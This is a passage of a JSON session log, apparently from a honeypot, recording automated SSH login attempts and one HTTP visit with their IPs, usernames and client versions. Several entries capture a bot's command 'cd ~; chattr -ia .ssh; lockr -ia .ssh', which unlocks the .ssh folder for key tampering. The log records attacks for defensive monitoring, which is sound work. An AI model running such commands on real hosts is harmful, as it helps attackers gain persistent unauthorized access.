  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:28:40.922139+00:00",
  "ended_at": "2026-08-26T19:28:42.322126+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c77f49d-d146-4548-a6a3-0f2105743346",
  "name": "solemn-indigo-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50816,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:10:03.741044+00:00",
  "ended_at": "2026-08-26T19:10:04.666511+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f302a4a-8f64-4d43-a46d-f875912a39bd",
  "name": "leafy-glassy-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 56857,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:05:30.938492+00:00",
  "ended_at": "2026-08-26T19:05:32.871295+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17219969-e19c-4232-9e4a-2ef4600423d7",
  "name": "ashen-breezy-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 18332,
  "username": "bash",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:02:52.375198+00:00",
  "ended_at": "2026-08-26T19:02:52.861008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92204bfd-5be3-4835-81e6-10959aba010f",
  "name": "barren-russet-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56368,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T19:01:26.553929+00:00",
  "ended_at": "2026-08-26T19:01:58.645114+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "156117af-7b5f-44a3-8382-c08576a3e17f",
  "name": "ginger-oaken-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58578,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:59:28.200896+00:00",
  "ended_at": "2026-08-26T18:59:28.815625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d653bd89-386f-4b6d-a425-24ace908c93b",
  "name": "lucid-jagged-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 56246,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:44:47.164855+00:00",
  "ended_at": "2026-08-26T18:44:49.009643+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "db117603-d4f6-4437-9888-121151b178f0",
  "name": "reedy-arctic-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 65112,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:42:36.932481+00:00",
  "ended_at": "2026-08-26T18:42:45.939042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03e85f0b-d0ff-4637-b8da-570068a7440b",
  "name": "lunar-gallant-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.131",
  "src_port": 45314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:40:19.168369+00:00",
  "ended_at": "2026-08-26T18:40:19.681019+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a2c0502-ff11-42b2-8ee0-ee89b5217a89",
  "name": "glassy-meadow-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 64027,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:36:56.936888+00:00",
  "ended_at": "2026-08-26T18:37:09.125456+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6607e9f9-9779-458a-b86a-7fa6dba66f85",
  "name": "tender-feral-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 62104,
  "username": "janya",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:36:12.725216+00:00",
  "ended_at": "2026-08-26T18:36:13.257145+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73362dea-c90c-4f58-a277-db9665c8c86d",
  "name": "cobalt-tidal-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.51.208.158",
  "src_port": 33235,
  "username": "mars",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:35:02.320364+00:00",
  "ended_at": "2026-08-26T18:35:02.981268+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "9f7ea29e-a97c-47bf-a81f-9f6b795df851",
  "name": "coral-proud-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.51.208.158",
  "src_port": 33581,
  "username": "mars",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:34:52.000727+00:00",
  "ended_at": "2026-08-26T18:34:53.623738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb556659-bb51-4f82-92fa-65e4c4b7f56e",
  "name": "bold-faded-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.51.208.158",
  "src_port": 33421,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:34:50.071052+00:00",
  "ended_at": "2026-08-26T18:34:51.117014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5bbe61c-4330-4c76-b8b7-169e1a52688c",
  "name": "wistful-solemn-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:28:31.967852+00:00",
  "ended_at": "2026-08-26T18:28:33.184528+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "bc1ef3cf-2924-44b2-b0fb-ead132920d0c",
  "name": "polar-merry-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:28:13.574057+00:00",
  "ended_at": "2026-08-26T18:28:14.948398+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09f10d26-f366-4625-90b4-771f78e35108",
  "name": "emerald-brisk-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58468,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:28:10.829227+00:00",
  "ended_at": "2026-08-26T18:28:12.475626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "489fe293-0c72-4ce4-ad63-285e100aebb5",
  "name": "primal-indigo-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 52828,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:25:33.989776+00:00",
  "ended_at": "2026-08-26T18:25:35.452780+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bc269635-ae72-46f8-9337-a487cb8133e4",
  "name": "whispering-stoic-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 57998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:25:14.830408+00:00",
  "ended_at": "2026-08-26T18:25:16.407491+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d4d9fa5-5b5c-4ed7-a6cd-2538ffb0581c",
  "name": "hardy-feral-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 52844,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:25:12.312131+00:00",
  "ended_at": "2026-08-26T18:25:13.746543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2245329-1cd4-43e0-affe-405d252fba71",
  "name": "steady-oaken-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 12438,
  "username": "kahlil",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:24:42.822392+00:00",
  "ended_at": "2026-08-26T18:24:43.139625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c527c33-e864-4482-b126-9d9487034a67",
  "name": "wandering-whispering-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 52410,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:22:37.007494+00:00",
  "ended_at": "2026-08-26T18:22:38.014476+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2265
 },
 {
  "id": "0d8a66e0-7a34-4b77-9b41-f443fb2f8a57",
  "name": "grumpy-buoyant-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 52436,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:22:19.279653+00:00",
  "ended_at": "2026-08-26T18:22:20.094250+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a516075-b9ed-448c-af21-346f771d8090",
  "name": "boreal-windswept-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 52424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:22:17.013903+00:00",
  "ended_at": "2026-08-26T18:22:18.229327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aac91f21-f1bc-4d20-8544-105491261a28",
  "name": "regal-ginger-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.61.177.190",
  "src_port": 48502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:56.801189+00:00",
  "ended_at": "2026-08-26T18:19:57.093402+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09e78d2c-16f1-4ca9-b99a-8586a3a58132",
  "name": "fabled-boreal-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.61.177.190",
  "src_port": 48500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:56.402132+00:00",
  "ended_at": "2026-08-26T18:19:56.588062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01030d1d-e31f-407f-81e3-04200798ba22",
  "name": "daring-humble-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56538,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:19:41.005370+00:00",
  "ended_at": "2026-08-26T18:19:42.106771+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "dcb15359-c9e0-423e-b78c-30142cac199a",
  "name": "crisp-tangled-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56544,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:22.732368+00:00",
  "ended_at": "2026-08-26T18:19:24.048729+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f796f2cf-3534-458c-980f-0f1062842947",
  "name": "curious-idle-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56542,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:20.723753+00:00",
  "ended_at": "2026-08-26T18:19:21.657196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33d09e0a-72d7-4661-aaad-ca12bd5e1b36",
  "name": "gnarled-slender-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 55992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 536,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:16:36.587288+00:00",
  "ended_at": "2026-08-26T18:16:38.154660+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "714074c5-548c-42df-977d-df64ce550f27",
  "name": "gnarled-prairie-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:16:18.446148+00:00",
  "ended_at": "2026-08-26T18:16:19.357700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c25956e3-4f93-4109-964f-0103e0c8e0d9",
  "name": "somber-hazel-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56008,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:16:16.589920+00:00",
  "ended_at": "2026-08-26T18:16:17.380428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0abac57-c3a9-43d4-8c43-9bc88dcaab63",
  "name": "regal-ruddy-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59251,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:15:54.125830+00:00",
  "ended_at": "2026-08-26T18:16:08.417581+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c017946-ac04-4700-8400-03e439d05a6d",
  "name": "bold-humble-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 50998,
  "username": "support",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:13:39.636117+00:00",
  "ended_at": "2026-08-26T18:13:40.822236+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2292
 },
 {
  "id": "29630fab-0fae-4c7d-a0e1-b5a6f71dd95b",
  "name": "plush-ivory-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51008,
  "username": "support",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:13:18.689220+00:00",
  "ended_at": "2026-08-26T18:13:20.364230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0c0d5d2-fe55-4323-b790-fec0fe08e112",
  "name": "freckled-bronzed-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.24",
  "src_port": 56828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:13:18.398764+00:00",
  "ended_at": "2026-08-26T18:13:21.370133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "776ea109-4a88-4ae1-81e9-70dfa0e624f5",
  "name": "quiet-wooded-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51004,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:13:16.202700+00:00",
  "ended_at": "2026-08-26T18:13:17.619499+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a127bbd-ea44-4427-a110-2b588f7854b6",
  "name": "misty-patient-kakapo",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "173.239.211.46",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:11:11.925952+00:00",
  "ended_at": "2026-08-26T18:27:00.601468+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be48beab-5d11-4398-b754-4d558975a7c3",
  "name": "placid-northern-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37064,
  "username": "ian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:10:31.207276+00:00",
  "ended_at": "2026-08-26T18:10:32.850047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "1b5a2490-44f6-42ce-9cbc-7f4e7b4998c4",
  "name": "barren-bashful-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57699,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:10:28.143928+00:00",
  "ended_at": "2026-08-26T18:10:30.679960+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36470671-aeef-41e6-bd61-748c58f71098",
  "name": "bashful-dewy-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56718,
  "username": "ian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:10:13.737009+00:00",
  "ended_at": "2026-08-26T18:10:14.656137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0500644f-b8b6-4dcf-bc10-1a1e50c2c6f1",
  "name": "misty-austere-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:10:11.237472+00:00",
  "ended_at": "2026-08-26T18:10:12.663230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88e82370-d6e4-49df-9fe7-07c4ee56db9c",
  "name": "lively-painted-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 33744,
  "username": "andy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:07:35.477191+00:00",
  "ended_at": "2026-08-26T18:07:36.937886+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "f6ed1092-fcb3-4329-93ff-9489f46d9d19",
  "name": "mellow-knotted-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33182,
  "username": "andy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:07:16.938588+00:00",
  "ended_at": "2026-08-26T18:07:18.452909+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4f06c8b-d8d1-40ae-bab2-e93874b4f282",
  "name": "salty-dewy-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33166,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:07:15.111233+00:00",
  "ended_at": "2026-08-26T18:07:15.892825+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f78ce96d-373f-4252-9140-12435abd0118",
  "name": "ivory-frugal-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50072,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:04:41.784416+00:00",
  "ended_at": "2026-08-26T18:04:54.544234+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "015510ba-cea4-469c-9467-beeb6085312d",
  "name": "mellow-cheerful-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 47128,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:04:40.564645+00:00",
  "ended_at": "2026-08-26T18:04:41.652112+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "511b06f5-672a-4dd2-89c4-b291ff1840c0",
  "name": "lucid-polar-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47156,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:04:21.192478+00:00",
  "ended_at": "2026-08-26T18:04:22.506236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b113dc6-1e1d-4675-8334-558a9e6810a3",
  "name": "pewter-lonesome-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47140,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:04:18.885455+00:00",
  "ended_at": "2026-08-26T18:04:20.097106+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6cd78e94-1346-4d6b-b5c6-c35a7a1e3661",
  "name": "wandering-distant-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:03:05.883090+00:00",
  "ended_at": "2026-08-26T18:03:06.406249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67859af0-a50c-42d2-acee-a97ec9efad1f",
  "name": "bronzed-glassy-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 34416,
  "username": "root",
